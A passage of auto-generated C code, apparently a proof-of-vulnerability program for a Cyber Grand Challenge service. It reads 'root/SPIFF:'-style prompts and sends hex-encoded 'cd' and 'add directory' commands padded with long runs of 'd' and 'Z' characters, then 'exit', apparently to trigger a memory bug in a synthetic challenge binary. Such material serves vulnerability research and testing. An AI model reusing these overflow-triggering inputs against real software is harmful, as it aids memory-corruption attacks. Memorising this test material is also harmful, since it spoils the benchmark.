read_00241_res = cgc_delimited_read(0, &read_00241, &read_00241_len, read_00241_delim, 1); if (read_00241_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00241_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00241_00000_match; pcre *read_00241_00000_pcre = cgc_init_regex(read_00241_00000_regex); if (read_00241_00000_pcre != NULL) { int rc = cgc_regex_match(read_00241_00000_pcre, 0, read_00241 + read_00241_ptr, read_00241_len - read_00241_ptr, &read_00241_00000_match); if (rc > 0) { read_00241_ptr += read_00241_00000_match.match_end - read_00241_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00241_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00241); if (read_00241_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00083_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00083_00000_len = 104; unsigned char *write_00083 = NULL; unsigned int write_00083_len = 0; write_00083 = cgc_append_buf(write_00083, &write_00083_len, write_00083_00000, write_00083_00000_len); if (write_00083_len > 0) { cgc_transmit_all(1, write_00083, write_00083_len); } cgc_free(write_00083); } while (0); do { unsigned char *read_00242; unsigned int read_00242_len; unsigned int read_00242_ptr = 0; //**** delimited read static unsigned char read_00242_delim[] = "\x40"; read_00242 = NULL; read_00242_len = 0; int read_00242_res = cgc_delimited_read(0, &read_00242, &read_00242_len, read_00242_delim, 1); if (read_00242_res) {} //silence unused variable warning //**** read match data static unsigned char match_00242_00000[] = "\x72\x6f\x6f\x74"; read_00242_ptr += cgc_data_match(read_00242 + read_00242_ptr, read_00242_len - read_00242_ptr, match_00242_00000, 4); cgc_free(read_00242); if (read_00242_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00243; unsigned int read_00243_len; unsigned int read_00243_ptr = 0; //**** delimited read static unsigned char read_00243_delim[] = "\x2f"; read_00243 = NULL; read_00243_len = 0; int read_00243_res = cgc_delimited_read(0, &read_00243, &read_00243_len, read_00243_delim, 1); if (read_00243_res) {} //silence unused variable warning //**** read match data static unsigned char match_00243_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00243_ptr += cgc_data_match(read_00243 + read_00243_ptr, read_00243_len - read_00243_ptr, match_00243_00000, 6); cgc_free(read_00243); if (read_00243_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00244; unsigned int read_00244_len; unsigned int read_00244_ptr = 0; //**** delimited read static unsigned char read_00244_delim[] = "\x3e"; read_00244 = NULL; read_00244_len = 0; int read_00244_res = cgc_delimited_read(0, &read_00244, &read_00244_len, read_00244_delim, 1); if (read_00244_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00244_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00244_00000_match; pcre *read_00244_00000_pcre = cgc_init_regex(read_00244_00000_regex); if (read_00244_00000_pcre != NULL) { int rc = cgc_regex_match(read_00244_00000_pcre, 0, read_00244 + read_00244_ptr, read_00244_len - read_00244_ptr, &read_00244_00000_match); if (rc > 0) { read_00244_ptr += read_00244_00000_match.match_end - read_00244_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00244_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00244); if (read_00244_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00084_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a" "\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x30\x0a"; static unsigned int write_00084_00000_len = 75; unsigned char *write_00084 = NULL; unsigned int write_00084_len = 0; write_00084 = cgc_append_buf(write_00084, &write_00084_len, write_00084_00000, write_00084_00000_len); if (write_00084_len > 0) { cgc_transmit_all(1, write_00084, write_00084_len); } cgc_free(write_00084); } while (0); do { unsigned char *read_00245; unsigned int read_00245_len; unsigned int read_00245_ptr = 0; //**** delimited read static unsigned char read_00245_delim[] = "\x40"; read_00245 = NULL; read_00245_len = 0; int read_00245_res = cgc_delimited_read(0, &read_00245, &read_00245_len, read_00245_delim, 1); if (read_00245_res) {} //silence unused variable warning //**** read match data static unsigned char match_00245_00000[] = "\x72\x6f\x6f\x74"; read_00245_ptr += cgc_data_match(read_00245 + read_00245_ptr, read_00245_len - read_00245_ptr, match_00245_00000, 4); cgc_free(read_00245); if (read_00245_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00246; unsigned int read_00246_len; unsigned int read_00246_ptr = 0; //**** delimited read static unsigned char read_00246_delim[] = "\x2f"; read_00246 = NULL; read_00246_len = 0; int read_00246_res = cgc_delimited_read(0, &read_00246, &read_00246_len, read_00246_delim, 1); if (read_00246_res) {} //silence unused variable warning //**** read match data static unsigned char match_00246_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00246_ptr += cgc_data_match(read_00246 + read_00246_ptr, read_00246_len - read_00246_ptr, match_00246_00000, 6); cgc_free(read_00246); if (read_00246_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00247; unsigned int read_00247_len; unsigned int read_00247_ptr = 0; //**** delimited read static unsigned char read_00247_delim[] = "\x3e"; read_00247 = NULL; read_00247_len = 0; int read_00247_res = cgc_delimited_read(0, &read_00247, &read_00247_len, read_00247_delim, 1); if (read_00247_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00247_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00247_00000_match; pcre *read_00247_00000_pcre = cgc_init_regex(read_00247_00000_regex); if (read_00247_00000_pcre != NULL) { int rc = cgc_regex_match(read_00247_00000_pcre, 0, read_00247 + read_00247_ptr, read_00247_len - read_00247_ptr, &read_00247_00000_match); if (rc > 0) { read_00247_ptr += read_00247_00000_match.match_end - read_00247_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00247_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00247); if (read_00247_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00085_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x5a\x5a\x5a" "\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x30\x0a"; static unsigned int write_00085_00000_len = 64; unsigned char *write_00085 = NULL; unsigned int write_00085_len = 0; write_00085 = cgc_append_buf(write_00085, &write_00085_len, write_00085_00000, write_00085_00000_len); if (write_00085_len > 0) { cgc_transmit_all(1, write_00085, write_00085_len); } cgc_free(write_00085); } while (0); do { //*** writing data static unsigned char write_00086_00000[] = "\x65\x78\x69\x74\x0a"; static unsigned int write_00086_00000_len = 5; unsigned char *write_00086 = NULL; unsigned int write_00086_len = 0; write_00086 = cgc_append_buf(write_00086, &write_00086_len, write_00086_00000, write_00086_00000_len); if (write_00086_len > 0) { cgc_transmit_all(1, write_00086, write_00086_len); } cgc_free(write_00086); } while (0); }